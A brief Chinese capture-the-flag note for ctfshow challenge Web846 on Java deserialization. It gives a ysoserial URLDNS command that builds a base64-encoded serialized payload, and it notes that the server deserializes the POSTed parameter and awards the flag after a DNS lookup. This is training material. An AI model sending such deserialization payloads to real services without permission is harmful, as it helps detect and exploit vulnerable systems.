Java反序列化

Web846

java -jar ysoserial.jar URLDNS “题目地址”|base64

题干：

ctfshow会对你post提交的ctfshow参数进行base64解码
然后进行反序列化
构造出对当前题目地址的dns查询即可获得flag